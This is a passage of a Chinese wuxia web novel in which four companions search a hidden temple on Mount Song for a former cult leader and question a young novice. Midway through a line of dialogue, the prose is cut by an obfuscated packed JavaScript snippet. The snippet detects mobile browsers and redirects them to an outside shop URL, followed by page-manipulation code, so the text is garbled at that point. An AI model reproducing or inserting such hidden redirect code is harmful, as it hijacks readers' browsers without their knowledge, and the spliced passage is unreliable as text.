灵甜望着宋游离去的方向,恨得咬牙,气道:“让他去,我们本就和他素不相识,来路不明,留着也是祸害。再说,此人薄情寡义,不可深交,走了也好。省得在这里碍眼闹心,看着讨厌。” 这时,孟浪张衡也追上来了。孟浪见宋游终于走了,“呸”了一声,道:“这小东西还是早点滚了的好,最好让山里的毒蛇猛兽给吃了,活在世上也是碍眼,引人讨厌。” 张衡见季歌脸色不好,忙用胳膊撞了撞他,示意闭嘴。孟浪无端被他提醒,心里更添不爽,愠道:“你推我干嘛,我难道说错了?这小杂种整天对我们鼻子不是鼻子,眼睛不是眼睛的,整日里不是摆臭脸,就是甩黑脸,不是死鸭子嘴硬,就是说话不客气,谁他妈想看他那张臭脸啊,天天一副死了爹妈的模样,让谁欣赏他!” 他这些天受了宋游不少气,此时一通说出来,方觉心中畅快。张衡也是没想到他能骂这么多,颇有点匪夷所思。 季歌阴沉着脸,不动声色地听孟浪骂完,抬起眼来,看着孟浪,道:“孟兄,游弟是我半路结交的兄弟,你骂他就是骂我。望你看在这层情面上,以后不要在我面前说游弟的坏话,否则我定要严词斥责于你。” 一副面无表情。 孟浪被他当面驳斥,心中不快,嘟囔道:“我说的是事实,怎么了?该不会结识了新兄弟,就忘了旧兄弟吧。”说着嘴角下凹,故意作出一副鄙夷之色。 却见季歌面无表情地看着他,正色道:“孟兄大可不必出言嘲讽,我对游弟的情分,正如对你和张兄的情分,不分彼此,更不分高低贵贱。若是游弟当着我的面,这般讥刺辱骂你和张兄,我也会当面驳斥于他,回护你们。” 说完,眼睛一眨不眨地盯着孟浪,脸上没有任何表情,看不出是生气了,还是义正言辞,大义凛然,总归面色不改。气氛不由得有些尴尬。 张衡清咳了一声,道:“先不说这个了。眼下宋游兄弟走了,我们找那几个分舵主便少了一个帮手,先不说找到倒霉和尚后,怎么找后面几个分舵主,就说这第一个倒霉和尚,便十分的不好找,也不知他长什么模样,什么身形。草堂寺的和尚若是少还行,万一有上百人在佛堂诵经念佛,我们又不能随意暴露身份,此事还真难办了。” 孟浪插话道:“难就难,离了他难道我们还找不到个人了?又不是大海捞针。”说着发出冷笑来,“三弟你也太把他当回事儿了。” 张衡没有答话,只将询问的眼神瞟向季歌。 季歌低着头,想了想,道:“眼下也没有别的办法,走一步看一步吧。”说着扫了一眼周遭的夜色,道:“此地不可久留,还是赶快走吧。”迈开大步,径直向前行去。 声音淡漠,听不出是生气还是什么。 孟浪欲要跟上,这时感觉灵甜一只拳头在他腰上撞了一撞,低声道:“季哥哥生气了,你不要再惹他了。以后少说点,把嘴夹紧。” 孟浪心里本就不痛快,被她这么一说,心中更添不快,却又不肯就此服软就低,语气脆生生道:“我就该当个哑巴,这样大家心里都松快。”忿忿跟了上去。 38. 倒霉和尚(2) 四人出了鬼镇,上了马车,沿原路返回。路上季歌没有再说话,如此快马加鞭地奔驰了一天一夜,到得次日下午终于抵达了一座正常的市镇。众人寻了一间客栈投宿住下。 晚饭时间,季歌没有下楼,将自己反锁在屋里,思考后续的事。想着想着,思绪便不受控地飘远了,开始担心宋游现下走到了何处,孤身一人,行走江湖,可还顺畅,有没有遇到什么危险。 忽然楼下飘上只言片语来,仔细一听,却是孟浪和灵甜正在一边吃饭,一边吐槽宋游,嘴上喋喋不休,谩骂就没停过。不是说他孤傲自负,不近人情,生性薄情寡义,就是指责他鼻子长在了眼睛上,狗眼看人低,再不济就是穿着穷酸邋遢,教人恶心。 季歌听着烦躁,索性钻进被子里,用被子捂住了头。 四人在客栈歇宿一晚,次日一早便驾着马车直奔嵩山。经过一个分岔路口,孟浪和张衡不约而同勒停了马儿。季歌坐在车里,感觉马车停了,掀帘出来,道:“怎么了?” 张衡从车上下来,表情略有些诡异地向他招了下手。他一做出这副表情,季歌就知他是何意,当即跳下车来。这时孟浪也下车了,三个人头凑在一块,小声嘀咕。 灵甜坐在车里,见半天不走,又听三个男人站在外边叽叽咕咕,好一阵磨叽。掀起车帘,朝外面一看。只见三颗脑袋正凑在一张地图上,或愁眉苦脸,或小声嘀咕。把着那张地图左看右看,正看斜看,一会儿倒过来看,还是没琢磨清楚。不禁又好气又好笑,说道:“拿过来,我看看。” 孟浪见她出来,立时如逢大赦,忙从季歌和张衡手中把地图抽出来,拿了过来,递至灵甜眼前,恭恭敬敬道:“甜儿姑娘请阅示。” 灵甜接过地图,只简慢扫了一眼,便道:“东边。” “……” 季歌道:“哪边是东啊。” 灵甜道:“左手。” 孟浪嘿嘿两笑,道:“还得是我们甜儿姑娘。” 于是三人复又上了马车,向左而行。地图的掌管权就此交到了灵甜手里。她和季歌分乘两辆马车,在车里一边看地图,一边指挥,每到一个分岔路口,便指使孟浪往哪边走。张衡则驾着另一辆车与季歌跟在后面。就这么不疾不徐地连续奔驰了两日,到了第三日晌午,远远见着前方一片苍翠山体悠然隐现,嵩山到了。 四人从车上下来,将马车拴在道旁的树上,循着山路缓缓行进。 季歌第一次来到嵩山,步入山中,只觉身周古木森森,幽秘寂然,舒服极了。边走边仔细留意着周围环境,心想:“这草堂寺到底在哪儿呢?”回过头来,见孟浪张衡亦步亦趋地跟在身后,便道:“烦请二位哥哥留意一下,地图上没有标记草堂寺的位置,不要错过了。” 孟浪道:“都是寺庙,会不会在少林寺附近?” 灵甜在前面听到,回过头来,道:“不会,小时候我经常跟着玉玄子来少林寺、雪淞派做客,从来没在这两派的附近发现什么草堂寺。想来这草堂寺没什么名气,兴许就在半路,或者藏在什么隐秘的角落。” 说完转过脸来,忽然就见右首树木掩映之下,隐隐露出了一角砖石筑就的岩壁,高高翘起,仿佛屋檐的一角。灵甜心中一凛,快步奔了过去,拨开遮挡的树叶一看,一面石墙悠然隐现。其余三人看到,忙也过来,帮忙拨拉开遮挡的枝叶,只见整面石墙砖屑脱落,坑坑洼洼,衰颓破旧。 众人循着石墙绕至建筑的正面,发现果然是一座寺庙的形貌。山门极矮,藏于枝叶之下。透过枝叶遮掩的缝隙,隐约看到门头的正上方挂了一块破破烂烂的牌匾,上书“草堂寺”三个字。 季歌道:“果然是这里。” 那“草堂寺”三个字写得十分潦草难看,倒不像是成人所书,更像是小孩子信笔所涂,一点也不端方严正,不像个正经寺庙的样子。 立于山门两侧的石柱坑坑洼洼,斑驳古旧,仿佛经受了多年的风吹雨打,被岁月侵蚀得不成样子。寺庙外观看着不大,藏身隐蔽,整体衰颓古旧,似乎年久失修。然而山门前又打扫得十分干净,一片树叶也没有,显得又没那么衰颓,显然有人常年居住。 季歌伫立门前,望着“草堂寺”的门头发了一会儿呆,道:“大家务必谨记,我们四个现在扮演的身份是喻大侠的朋友,要对倒霉和尚说的话也是喻大侠有难,需要尽快支援的话,千万别泄露了身份。若他问起我们如何找来这里,也只说是接到了喻大侠的乳母鬼姥姥的指示,说五位分舵主的其中一位分舵主藏身于草堂寺,是以来此寻找,别的不必多说。” 虽然一路走来,如何应对倒霉和尚已在他心中反复推演了无数遍,然而真正站在草堂寺门前,心里还是犯怵。 孟浪见他神情紧张,不耐烦道:“知道,反正就是姓宋那小矮子的一通说辞呗。” 季歌道:“还有,不管倒霉和尚现在是不是真的和尚,总归还是望海潮的旧部,是邪教中人,善恶难辨,须得小心提防。如今敌在暗,我们在明,待会儿务必谨言慎行,以免我们还没发现他,便被他发现了端倪,中了圈套。” 三人点了点头。季歌说完,转向孟浪道:“尤其是你孟兄,话要少说,尽量不说,说多错多,不要被对方在言语中发现破绽。” 孟浪见他将自己单拎出来说,心里不悦,道:“知道了,就你懂得多。” 季歌转向张衡和灵甜,道:“那倒霉和尚我们都不认识,也不知长什么模样,什么心性,但总归是邪教中人,发现陌生人找他难免会出于戒备暴起伤人。大家要做好应战准备,保护好自己。还有,既不知他的容貌,那这草堂寺里的每一个和尚便都有可能是倒霉和尚,要不露痕迹地找,温和地找,不要惹出乱子来。” “啰嗦!”孟浪不耐烦道:“年纪轻轻就这么絮叨心密,上了年纪还得了?也不知将来谁家女子受得了你。” 季歌听他这话,心想:“上次在鬼镇对孟兄一通数落,讥刺他讨不着媳妇,还记着呢,敢情在这儿等着呢。”当下微微一笑,不好意思道:“这不是怕事情败露,好心提醒各位嘛。毕竟好容易来这儿一趟,万一说话做事不稳当,打草惊蛇,岂不白忙活一场?” 孟浪翻了个白眼,没有做声。 季歌望了眼草堂寺的门头,向他一抬颌,道:“孟兄,进去?” 孟浪白他:“进去就进去,谁怕谁。”当即来到山门前,猫下腰钻了进去。三人紧随其后,也钻进去。 山门极小极矮,每次仅容一人通过。孟浪弓着腰走在前面,嘴里嘟囔道:“钻狗洞也不过如此。”张衡跟在后面,安慰道:“二哥,且钻且珍惜。” 四人从山道出来,来到一座庭院里。发现这座庭院的东西南北不是台阶窄道,就是屋宇累叠,几乎没有一处平坦的地面。不仅外面看着小,里面更小。也因地面空间逼仄,寺庙的房屋建筑径向空中延伸,天王殿有两层楼高,身后的阁楼又在天王殿的基础上高出了一层,是为大雄宝殿。 季歌四人站在院子里,也不敢大声说话,只将四处看了两眼,便觉无甚可看。因为真的太小了,一眼便可以将整座庭院看遍,并且院子里没有人。 忽然听到天王殿内传来嗡嗡杂杂的诵经声。四人对视一眼,不约合同地来到天王殿下,拾级而上。来到法堂门口,季歌悄悄拨开竹帘,四颗圆脑袋凑在门前,朝里望去,只见逼仄的大厅里,十几名和尚正在一名身披袈裟的老和尚带领下,齐声诵经念佛。 老和尚长得眉开眼阔,白眉白须,应是寺里的方丈。其余和尚或高或矮,或胖或瘦,俱都闭着眼睛,双手合十,站在那里诵经。身上都穿了同样的僧袍,相貌不一, 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当即和孟浪满院子找了起来。庭院又小又空,一眼便能看个底儿朝天,没有藏身之处。找了半天没见着人,季歌心里着急更甚,暗忖:“甜儿到底去哪儿了,总不能是一个人走了,她那么胆小。”突然心中一凛:“难道是被倒霉和尚掳走了?” 想到这里,瞬间一股凉气直冲天灵盖,浑身发起抖来。 孟浪瞧见,安慰道:“别紧张,方才她一直跟着我们,院子里也没有藏人的地方,要是真有人出来将人绑走,怎么会发觉不了?再说,自打进了草堂寺,咱几个一直规规矩矩,安分守己,就算倒霉和尚发现寺里来了陌生人,也不一定就不了我们的身份,没有道理将人绑走。” 季歌听他说的在理,紧张的心情稍稍舒缓,然而还是提心吊胆,心里绷了根弦。 二人在院子里找了两遍,还是没找见,又不敢大声喧哗。季歌向孟浪递了个眼色,示意进禅房找人。二人冲进禅房,一通翻查,又来到斋堂和东西配殿。所幸这当口,寺里的和尚都在佛堂诵经,禅房、斋堂和东西配殿并无人在。 待到所有房间寻遍,依旧半个人影都没见着。季歌心里焦急更甚,冲到庭院里,绕过天王殿,向后面的大雄宝殿找去。走到一处拐角,刚好与从大雄宝殿出来的张衡撞个满怀。 张衡见他面色焦急,问道:“怎么了,季兄弟?” 季歌低声道:“甜儿不见了!” 张衡一怔,道:“怎么回事?” 季歌摇了摇头,道:“不知。方才我和孟兄在佛堂门口看和尚们诵经,没有留意,下来就没见人了,寺庙翻了个底儿朝天。” 张衡一听,不由得也着急起来。想了想,道:“没道理,这么小一座寺庙,能去哪儿?该不会是出去了?” 季歌摇头道:“不知,还没出去找。”见他从大雄宝殿出来,道:“你那边怎么样,有什么发现没有?” 张衡道:“大雄宝殿没有人,寺里的和尚应该都在佛堂了。”见他面色着急,便道:“你在寺里再找找,我出去看看。” 季歌点了点头。看着他从山门出去,还是放心不下,转到后面的大雄宝殿,找了一圈,还是没见到人,不由心急如焚,全身都软了。摸着石墩颓然坐倒,只觉后背冷汗涔涔,心里砰砰直跳:“这第一个分舵主便这么多事,后面还不知有多少麻烦。” 正茫然无措,忽然,大雄宝殿右首偏僻的角落传来“咦”的一声,是女子的声音。 季歌身子一震,朝声音来向看去,只见那是一个厢房,外立面爬满了爬山虎,方才没有留意到。当即不假思索,奔了过去。 39. 倒霉和尚(3) 季歌奔进厢房,看到灵甜正站在灶台前,一手拎着锅盖,一手握着笼屉,看着锅里的东西发呆。心里微微一松,迟疑了一瞬走了进来,道:“甜儿,你怎么跑这里来了?教人一阵好找。”语含责备之意。 灵甜见他进来,道:“季哥哥,你过来看看,奇不奇怪?” 季歌瞧她一眼,走至灶台前,朝锅里一望。只见恁大一口大铁锅里,竟赫然盛了两大坨红烧肉。烤焦的猪皮上沁满猪油,黏腻欲滴,肉质酥酥软软,伴随着一股糖香,直钻鼻脑。 季歌皱眉道:“难怪过来一股肉味儿,原来有人私开荤灶。” 灵甜道:“是啊,估计是哪个偷腥的和尚藏的。” 偷腥的和尚…… 季歌心中突然一凛:“倒霉和尚!”说着看向灵甜,正色:“他不是出家人,自然可以食荤,否则好端端的寺庙里怎么会有肉呢。” 说话间孟浪从外面进来。一见到灵甜,紧张的面色微微一松,说道:“甜儿妹子,原来你在这儿,教人好是担心。”语含怨怼之意。 季歌转眸看向灵甜,道:“就是,以后不许乱跑,现在是特殊时期,要一起行动。”脸上微带愠色。 灵甜自知有错,撇了撇嘴,低下头来,没有说话。 季歌目光在她头顶转了转,看向孟浪,说道:“张兄方才出去了。” 孟浪道:“知道,我看见了。” 这时,窗外传来一阵杂乱的脚步声。孟浪巴着窗户,朝外面一看,只见一众和尚从佛堂里出来,各自散开了。他道:“那帮秃驴念完经了,我们出去吧。” 季歌点了点头,正待出去,忽然想起自己在寺庙的厨房里发现了荤食,就这么大摇大摆地出去,难免让寺里的和尚起疑。万一被倒霉和尚撞见,还会引起对方警觉,想了想,道:“等会儿,等院子里没人了再出去。” 孟浪点了点头。闲站无聊,季歌向厨房灶台上的锅碗瓢盆扫了一眼,低声道:“奇怪,若是寺里有和尚偷腥食荤,正常的做法难道不应该是找个没人的地方悄悄藏起来,掩人耳目么,怎么还会堂而皇之地摆在灶台上,还明晃晃的那么一口大锅,如此行事岂不是人人都知道了?” 孟浪想了想,道:“是啊,脑子不太对劲。” 灵甜皱眉:“除非……其他和尚知道寺庙里有人食荤,不想管,也不敢管。” 她喃喃自语:“可是……谁会有这种特权呢?” “方丈!” 季歌突然叫了出来。 不等灵甜孟浪接话,季歌肯定道:“倒霉和尚就是方丈,否则哪个和尚敢明目张胆地在厨房里公然食荤?” 想到这里,心里突然生出许多戒备来。透过窗户,虎视眈眈地向庭院盯了一会儿,待院子里人流渐渐散尽,各忙各的去了,季歌道:“我们出去吧,小心一点。” 孟浪和灵甜点了点头。 于是三人蹑手蹑脚地从厨房出来,鬼鬼祟祟地来到院子里。动作很轻,生怕弄出一点动静来。及至天王殿前,忽然身后传来一个苍老的声音道:“阿弥陀佛,几位施主不请自来,有何贵干啊?” 三人立时怔在当地。向孟浪和灵甜瞧了一眼,见他二人也是一脸彷徨无措,不知如何是好。犹豫良久,终于还是带着一脸怪笑转过脸来,笑道:“”看到站在对面的不是别人,正是那老方丈。 老方丈身披袈裟,手握一串佛珠,长眉长须,正慈眉善目地看着他。身后还跟了两个年轻和尚。 “那个……” 季歌堆起满脸假笑,上前一步,恭敬道:“方丈好。我与兄长妹子路过嵩山,发现山下竟有这样一处洞天福地,便想过来上上香,祈祈福,没有打搅到各位吧?” 老方丈缓声道:“阿弥陀佛,敝寺已经很久无人上香了,今日有幸见着几位贵客稀客,实乃本寺之福,幸会,幸会。”说着竖起手掌,向季歌三人行了一礼,道:“施主请自便。” 季歌忙也双手合十,向他行了一礼,转过身来。这时张衡从山门进来,见着眼前情状,不由一怔。不等季歌递眼色,已十分机警地向方丈行了行礼,道:“来贵寺上香,多有叨扰。” 季歌道:“哥哥,我们到大雄宝殿去,给娘祈福。” 张衡点头道:“好啊。” 于是一行人跟着季歌上了石阶。绕过天王殿,来到大雄宝殿。佛堂里没有人,四人在佛像前跪下,对着佛祖磕了三个响头,站起身,装模作样地上了几柱香。 张衡道:“发现什么了没有?” 季歌道:“我刚开始怀疑倒霉和尚是那老方丈,可方才又觉着不是。” 张衡怪道:“为何?” 季歌道:“那老和尚面善,不像邪教中人。” 张衡叹道:“季兄弟,你别忘了,邪教中人最擅伪装。倒霉和尚也不是和尚啊。” 季歌心想:“也是。”正待说话,这时两名和尚步上阶来,忙道:“待会儿再说。” 四人从佛堂出来,装作没事人一样四处闲转。这时看到一个八九岁的小沙弥坐在佛堂外的石墩上缝衣服,僧袍铺在腿上,破了一个大洞。季歌心中一动:“与其直接问那老方丈,打草惊蛇,不如先找这小和尚探探口风,毕竟小孩子的话还是比较可信,万一那老方丈不是倒霉和尚呢。” 于是伸了伸懒腰,装作若无其事地过去。张衡知他何意,悄悄向孟浪灵甜招了招手,三人一齐从石阶下去。 小沙弥见有人过来,抬起头,看了他一眼,而后低下头,继续缝补衣服。季歌在他身旁坐下,状似无意地伸了个懒腰,道:“今天天气不错,阳光明媚,适合郊游。” 小沙弥不予理会,自顾自缝衣服。季歌看了他一眼,搭讪道:“这么小就会缝缝补补啦,真是厉害。” 小沙弥头也不抬,道:“是啊,没娘的孩子像根草,有什么办法。” 季歌听他小小年纪,说话便一副大人口气,咽了咽唾沫,道:“你叫什么名字啊。” 小沙弥道:“清远。” “清远……” 季歌重复了一遍,道:“名字不错。” 小沙弥头也不抬,忙着穿针引线,道:“不错什么啊,都是师父起的,师兄弟不都差一个字。” 季歌听他语气不冷不热,人也寡淡,不似小孩儿的童稚与活泼,便道:“你师父对你不好吗?” 清远道:“当然好了,每天给我吃,给我穿,给我住,就是总喜欢逼人念经,这个有点烦。” “哦……” 季歌故作深沉地叹了叹气,话锋一转,道:“你是和尚,念经难道不是应该?” 清远道:“我不喜欢念经。” 季歌道:“那你喜欢什么。” 清远道:“吃。” 季歌默了一默,道:“吃什么,吃肉吗?” 清远蓦地指尖一颤,指腹渗出血珠来。他停下手中的活计,缓缓抬眼,看向季歌,道:“出家人如何能吃肉?施主讲话未免太过冒昧。”脸上已多了些许怒意。 季歌轻轻一笑,道:“你师父都能吃肉,你为什么不能?出家人怎么了,总有些清规戒律是要打破的。” 清远道:“施主请自重,这里是佛门。别说我师父是一寺方丈,最守清规戒律,就算是一介普通和尚,他老人家心净眼明,最忌杀生,怎么可能吃肉?” 季歌道:“有何不可能的,我都看到了。那肉就在厨房的铁锅里,不信你现在就去看看。”说着乜斜着眼笑了起来。 清远沉下脸来,道:“敝寺从无人食荤,施主还请自重,再乱说话我可就生气了。” 季歌见他面色古怪,心中不由犯起疑来:“看小和尚情状,似乎知道寺里有人食荤,却不愿意承认,反倒想替那人遮掩。不管是不是那老和尚,苍蝇不叮无缝的蛋,寺里总该有其他人知道此事吧。小和尚不愿意说,厨子的嘴总能撬开。” 于是站起身道:“小清远啊,你们寺里的厨子是谁啊?我找他定两份素面。” 清远两根手指捏起绣花针,开始穿针引线,似乎真被季歌惹着了。 季歌见他这副模样,心觉无趣。打声哈欠,从怀里掏出一只鲁班锁,装模作样地把玩起来。最开始还表现的得心应手,似乎对这小玩意儿颇感兴趣。没过片刻,便开始连连叹气,露出费解神色。解到后半截,突然眉头皱紧,现出一副如临大敌表情,手上动作也不由得加快,一边绞尽脑汁地解锁,一边忙着擦拭额头因紧张冒出的细汗。 清远起初还在一丝不苟地缝衣服,没过片刻便被他故意搞出来的动静影响到。他停下手中的活计,开始看他解鲁班锁,童稚的脸上露出好奇神色。 季歌百忙之中看了他一眼,道:“见过没?” 清远道:“没有。” 季歌道:“想玩不。”手上不停。 清远点了点头,很快又摇了摇头。 他道:“师父说,不能乱动香客的东西。” 季歌道:“香客的东西当然不能乱动,这是我让你玩的,有什么打紧。”说着将解了一半的鲁班锁强硬塞进清远手里,道:“你玩玩。” 清远见他一脸诚挚,立时露出兴奋神色,当即学着季歌方才的模样,把玩起来。季歌在旁一边指导,一边琢磨。二人很快聊得熟络。 趁此当口,季歌道:“清远啊,你们草堂寺一共有几名僧人啊。” 清远不假思索道:“我前面有十七个师兄,加上方丈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17475873|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一共十九人。”嘴上说着,手上不停。 “哦……”季歌点了点头,道:“那我方才在法堂里怎么只见到十八个人啊,还差了一人。” 清远道:“六师兄早上去雪淞派给闫掌门送灵符去了,还没有回来。” 季歌闻言一震,心下暗忖:“六师兄,雪淞派,闫掌门,敢情这位六师兄与雪淞派和闫掌门有交集?” 当即道:“六师兄和闫掌门的关系很好吗?他经常去雪淞派?” 清远边解边道:“差不多吧,六师兄每次一请了灵符就送上山去给闫掌门。一坐就是大半天,经常和闫掌门喝茶闲聊。” “果然。”季歌眉尾一挑,道:“那六师兄叫什么名字,长什么模样?什么时候来寺里的?” 清远道:“不知。听师父说是十几年前,那时我还没出生。长得嘛,大腹便便,不修边幅。俗家姓名不知,法号清海。” “清海……” 季歌默了默,又道:“那你师父是什么时候来寺里的?” 清远道:“建寺的时候就来了,这寺庙是师父一手操办的,到现在有三十来年了吧。” 三十年……那时望海潮还没有成立,更遑论覆灭了。季歌心下暗忖:“若是小和尚所言不虚,那老方丈很可能不是倒霉和尚,反而是这位唤作清海的六师兄比较可疑。” 想到这里,他道:“六师兄都不用诵经的吗?” 清远道:“六师兄做饭好吃,每天负责解决寺里十几口人的一日三餐,再加上六师兄人也比较能干,师父对他自然比对其他师兄宽容些。” “哦?”季歌道:“怎么个能干法?” 清远道:“我们草堂寺建在少林寺脚下,地方比较隐蔽,香客几乎全被少林寺抢走了。就是有一两个香客想不开,挡不住硬要进来,也是因为对嵩山慕名而来,途经小寺,想多沾沾福气。要说专程为敝寺前来,那是驴踢了脑子,没有的事。这不,半年就来了你们四个,收的这点香火钱还不够六师兄吃呢。” 顿了顿,“不过好在六师兄经常到雪淞派走动,凭着他与闫掌门的这层关系,闫掌门对我们很是照看,经常布施一些香火钱,敝寺才没有倒闭。” “原来如此……”季歌心道:“六师兄是厨子,定然方便往锅里藏肉,然而真正的和尚是不会吃肉的,这么说来,倒霉和尚便是六师兄清海了。” 他道:“六师兄什么时候回来?” 清远道:“以前一般是下午,不过这两天雪淞派出了事儿,六师兄上去帮忙了,不到天黑是回不来的。”说到这里,突然一怔,抬起头道:“问这么多干嘛,你认识六师兄?找他有事儿?” 季歌连忙笑道:“不认识,只是听你方才说话,似乎你这位六师兄很是神通广大,如此人物,很想见识见识。” 清远道:“那你可有的等了。”低下头,继续拨弄鲁班锁。 季歌默了默,道:“你方才说雪淞派出事儿了,出什么事了?” 清远想了想,道:“好像是闫掌门的一个弟子得了怪病,前日去世了,雪淞派这会儿正准备丧事呢。” 季歌一听,心中一震:“闫掌门的一名弟子去世了,是谁去世了?”问道:“那弟子叫什么名字?” 清远摇了摇头,道:“我一个小孩子,哪知道那么多,这都是听六师兄说的。” 季歌心想:“看来还得上雪淞派一趟,顺道看看雪淞派出了何事。只是不知那倒霉和尚秉性如何,好不好沟通,会不会一言不合就暴起伤人,毕竟是邪教中人,难免凶残成性。”以防万一,还是不放心道:“六师兄人怎么样,好不好说话,脾气怎样,对你好不好?” 清远睁大眼道:“六师兄人当然很好啊,脾气很是温和,对寺里的师兄弟都很客气友善,对师父也很是尊重,和大家相处得非常愉快,很好说话的。整个寺里,属我和他的关系最是要好。” 顿了顿,“他不爱说话,一向沉默寡言,做出来的饭却特别好吃,蒸的馒头那叫一绝,空闲的时候还经常给我做甜点吃,比山下卖的都要好吃一百倍。”说着抖了抖腿上破了洞的禅衣,道:“这件衣服都是六师兄买的呢。” 季歌心想:“脾气不错,好说话就行。”站起身来,见他一刻不停地把玩着那只鲁班锁,似乎爱不释手,便道:“送你吧。” 清远一听,忙道:“师父说不能乱收香客的东西。”说着将鲁班锁塞回他的手中。 季歌见状,又放了回去,道:“怕什么,又不是酒肉荤腥,杀生偷盗,邪淫妄语,别听你师父乱说,香客自愿给的,不打紧。” 说完,不等清远有所反应,沿着石阶下来,朝正装模作样闲转的三人打了个响指,道:“上嵩山。”